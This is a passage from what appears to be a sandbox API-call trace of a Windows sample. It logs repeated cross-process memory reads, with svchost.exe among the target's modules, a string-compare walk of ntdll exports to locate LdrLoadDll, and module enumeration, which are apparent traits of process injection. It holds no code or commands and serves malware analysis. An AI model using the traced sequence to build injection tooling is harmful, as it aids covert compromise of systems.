NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.146] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.242] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrLoadDll") returned -1 [0139.242] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgPrint", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrLoadDll") returned -1 [0139.243] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrLoadDll") returned -1 [0139.244] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrLoadDll") returned -1 [0139.245] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrLoadDll") returned -1 [0139.245] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrLoadDll") returned -1 [0139.245] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrLoadDll") returned -1 [0139.245] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrLoadDll") returned -1 [0139.246] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetDllPath", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrGetProcedureAddressForCaller", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="LdrLoadDll") returned -1 [0139.247] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="LdrLoadDll") returned -1 [0139.248] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="LdrLoadDll") returned -1 [0139.248] lstrcmpA (lpString1="LdrLoadDll", lpString2="LdrLoadDll") returned 0 [0139.248] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.334] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0139.334] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0139.334] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x174, ProcessInformationClass=0x0, ProcessInformation64=0x18ea2c, ProcessInformationLength=0x30, ReturnLength=0x18ea84 | out: ProcessInformation64=0x18ea2c, ReturnLength=0x18ea84) returned 0x0 [0139.334] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0139.334] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0139.336] LocalFree (hMem=0x7392a0) returned 0x0 [0139.336] LocalFree (hMem=0x72e060) returned 0x0 [0139.336] VirtualAlloc (lpAddress=0x0, dwSize=0x7e4, flAllocationType=0x3000, flProtect=0x4) returned 0x8d0000 [0139.337] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0139.337] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0139.337] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x174, ProcessInformationClass=0x0, ProcessInformation64=0x18ea2c, ProcessInformationLength=0x30, ReturnLength=0x18ea84 | out: ProcessInformation64=0x18ea2c, ReturnLength=0x18ea84) returned 0x0 [0139.337] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0139.337] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0139.337] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x1cb0f000, Buffer=0x2d, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x2d, NumberOfBytesRead=0x28) returned 0x0 [0139.337] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0139.337] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6034d0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.337] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603138, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3e | out: Buffer=0x203, NumberOfBytesRead=0x3e) returned 0x0 [0139.337] StrRChrA (lpStart="C:\\Windows\\system32\\svchost.exe", lpEnd=0x0, wMatch=0x5c) returned="\\svchost.exe" [0139.338] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603340, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.338] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603230, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x203, NumberOfBytesRead=0x3a) returned 0x0 [0139.338] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0139.338] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603980, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.338] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603b10, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x203, NumberOfBytesRead=0x40) returned 0x0 [0139.338] StrRChrA (lpStart="C:\\Windows\\system32\\KERNEL32.DLL", lpEnd=0x0, wMatch=0x5c) returned="\\KERNEL32.DLL" [0139.338] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603e80, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.338] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c604010, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x44 | out: Buffer=0x203, NumberOfBytesRead=0x44) returned 0x0 [0139.338] StrRChrA (lpStart="C:\\Windows\\system32\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0139.338] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6052e0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.339] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603910, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3e | out: Buffer=0x203, NumberOfBytesRead=0x3e) returned 0x0 [0139.339] StrRChrA (lpStart="C:\\Windows\\system32\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0139.339] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6054d0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.339] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c605660, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3c | out: Buffer=0x203, NumberOfBytesRead=0x3c) returned 0x0 [0139.339] StrRChrA (lpStart="C:\\Windows\\system32\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) returned="\\RPCRT4.dll" [0139.339] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6058f0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0139.339] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c605a80, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x203, NumberOfBytesRead=0x40) returned 0x0 [0139.339] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ucrtbase.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ucrtbase.dll" [0139.340] LocalFree (hMem=0x7392a0) returned 0x0 [0139.340] LocalFree (hMem=0x72e060) returned 0x0 [0139.340] lstrcmpiA (lpString1="svchost.exe", lpString2="NTDLL.DLL") returned 1 [0139.340] StrChrA (lpStart="svchost.exe", wMatch=0x2e) returned=".exe" [0139.340] lstrcmpiA (lpString1="svchost", lpString2="NTDLL.DLL") returned 1 [0139.340] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0139.340] VirtualFree (lpAddress=0x8d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.341] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0139.341] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.342] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.342] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.342] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.342] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a4000, Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.342] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.343] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.343] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.343] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.343] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.344] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.344] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.344] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.344] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.345] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.345] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.345] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.345] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.345] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.346] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.346] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.346] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.346] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.347] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.347] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: 